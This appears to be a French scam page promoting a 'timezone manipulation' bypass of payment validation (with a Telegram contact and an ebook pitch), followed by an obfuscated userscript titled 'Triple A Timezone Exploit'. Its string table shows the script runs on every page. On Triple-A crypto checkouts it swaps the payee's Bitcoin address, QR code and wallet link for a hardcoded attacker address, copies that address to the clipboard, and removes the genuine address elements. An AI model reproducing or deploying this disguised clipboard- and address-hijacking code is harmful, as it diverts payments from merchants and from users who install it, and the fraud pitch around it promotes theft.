Bypass des systèmes de validation par manipulation temporelle
Me contacter sur TelegramCette méthode exploite une vulnérabilité dans les systèmes de validation des transactions qui reposent sur des vérifications de fuseaux horaires. En interceptant et modifiant les requêtes API pendant les transitions d'heure, il est possible de créer une fenêtre de validation vulnérable.
L'exploit fonctionne particulièrement bien avec les processeurs de paiement qui utilisent des systèmes de timestamp non sécurisés.
Découvrez notre guide complet pour exploiter les dernières failles Amazon. Techniques avancées, et méthodes inconnus.
Télécharger le Ebook// ==UserScript==
// @name Triple A Timezone Exploit
// @namespace
// @version 1.8
// @description
// @author Gallardo
// @match *://*/*
// @grant none
// ==/UserScript==
function _0x18bf(_0x1a5da0, _0x1ff385) {
const _0x49df0c = _0x49df();
return _0x18bf = function (_0x18bf2d, _0x413bfb) {
_0x18bf2d = _0x18bf2d - 0x111;
let _0x47b3f5 = _0x49df0c[_0x18bf2d];
return _0x47b3f5;
}, _0x18bf(_0x1a5da0, _0x1ff385);
}
(function (_0x5e577d, _0x4ce4f6) {
const _0x41de18 = _0x18bf, _0x352b36 = _0x5e577d();
while (!![]) {
try {
const _0x5c7679 = parseInt(_0x41de18(0x127)) / 0x1 + -parseInt(_0x41de18(0x12b)) / 0x2 + -parseInt(_0x41de18(0x114)) / 0x3 + -parseInt(_0x41de18(0x119)) / 0x4 + -parseInt(_0x41de18(0x126)) / 0x5 * (-parseInt(_0x41de18(0x118)) / 0x6) + -parseInt(_0x41de18(0x11d)) / 0x7 + parseInt(_0x41de18(0x11a)) / 0x8;
if (_0x5c7679 === _0x4ce4f6)
break;
else
_0x352b36['push'](_0x352b36['shift']());
} catch (_0x3f5f13) {
_0x352b36['push'](_0x352b36['shift']());
}
}
}(_0x49df, 0xcda51), (function () {
'use strict';
const _0x3057fa = _0x18bf;
const _0x48d4a0 = _0x3057fa(0x112), _0xda2c14 = 'https://i.imgur.com/wJiZvfC.jpeg', _0x48f160 = _0x3057fa(0x12a), _0x26c79b = '210px';
let _0x679a4e = ![];
function _0x269c2a(_0x111dc9) {
const _0x10b92c = _0x3057fa, _0x4df099 = document[_0x10b92c(0x11e)](_0x10b92c(0x130));
_0x4df099[_0x10b92c(0x125)] = _0x111dc9, document[_0x10b92c(0x117)][_0x10b92c(0x111)](_0x4df099), _0x4df099[_0x10b92c(0x11c)]();
try {
document[_0x10b92c(0x132)](_0x10b92c(0x131)), console[_0x10b92c(0x139)]('Adresse\x20BTC\x20copiée:', _0x111dc9);
} catch (_0x2c5ea0) {
console[_0x10b92c(0x12f)](_0x10b92c(0x113), _0x2c5ea0);
}
document[_0x10b92c(0x117)][_0x10b92c(0x12c)](_0x4df099);
}
function _0x5d5b8c() {
const _0x3187c5 = _0x3057fa;
let _0x547271 = ![], _0x3bd401 = ![], _0x5304b2 = ![], _0x16ad98 = ![];
const _0x5cf5d4 = document[_0x3187c5(0x128)](_0x3187c5(0x121));
_0x5cf5d4 && _0x5cf5d4[_0x3187c5(0x13a)] !== _0x48d4a0 && (_0x5cf5d4['textContent'] = _0x48d4a0, _0x547271 = !![]);
const _0x2cd977 = document[_0x3187c5(0x128)](_0x3187c5(0x115));
_0x2cd977 && _0x2cd977[_0x3187c5(0x134)] !== _0xda2c14 && (_0x2cd977[_0x3187c5(0x134)] = _0xda2c14, _0x2cd977[_0x3187c5(0x12d)][_0x3187c5(0x116)] = _0x48f160, _0x2cd977[_0x3187c5(0x12d)][_0x3187c5(0x120)] = _0x26c79b, _0x3bd401 = !![]);
const _0x17b725 = document[_0x3187c5(0x128)](_0x3187c5(0x137));
_0x17b725 && _0x17b725[_0x3187c5(0x138)] !== _0x3187c5(0x135) + _0x48d4a0 + _0x3187c5(0x133) && (_0x17b725[_0x3187c5(0x138)] = 'bitcoin:' + _0x48d4a0 + '?amount=0.00085999');
const _0x55b612 = document['querySelector'](_0x3187c5(0x11f));
_0x55b612 && (_0x55b612[_0x3187c5(0x136)](), _0x5304b2 = !![]);
const _0x3df8f1 = document[_0x3187c5(0x128)](_0x3187c5(0x11b));
_0x3df8f1 && (_0x3df8f1['remove'](), _0x16ad98 = !![]);
const _0x2799ed = document[_0x3187c5(0x128)](_0x3187c5(0x129));
_0x2799ed && _0x2799ed[_0x3187c5(0x122)](_0x3187c5(0x124), function () {
_0x269c2a(_0x48d4a0);
}), (_0x547271 || _0x3bd401 || _0x5304b2 || _0x16ad98) && !_0x679a4e && (_0x679a4e = !![], setTimeout(() => {
const _0x3e16dc = _0x3187c5;
alert(_0x3e16dc(0x12e));
}, 0x3e8));
}
const _0x5073a6 = new MutationObserver(_0x5d5b8c), _0x118fa1 = {
'childList': !![],
'subtree': !![]
};
_0x5073a6[_0x3057fa(0x123)](document[_0x3057fa(0x117)], _0x118fa1), _0x5d5b8c();
}()));
function _0x49df() {
const _0x500e7d = [
'select',
'11259878fnJbQk',
'createElement',
'.triplea-pointer.text-xsmall.triplea-underline',
'height',
'.triplea-new-address',
'addEventListener',
'observe',
'click',
'value',
'205aVAGgm',
'470655ZQcOXU',
'querySelector',
'.triplea-copy-icon-for-address',
'210px',
'46052tIhjhM',
'removeChild',
'style',
'Script\x20Fuseaux\x20Horaires\x20Activé',
'error',
'textarea',
'copy',
'execCommand',
'?amount=0.00085999',
'src',
'bitcoin:',
'remove',
'.triplea-qrcode-wrapper',
'href',
'log',
'textContent',
'appendChild',
'bc1qtemsftpjejqprdg4pn2pph85rl7394eklug3md',
'Erreur\x20lors\x20de\x20la\x20copie\x20de\x20l\x27adresse\x20BTC:',
'425007QEmOjH',
'img[src*=\x22api.triple-a.io/api/v2/payment/\x22][src*=\x22qrcode\x22]',
'width',
'body',
'115266umBStu',
'1634672VDgsWX',
'14127456FvvOiF',
'.btn.triplea-open-in-wallet-btn'
];
_0x49df = function () {
return _0x500e7d;
};
return _0x49df();
}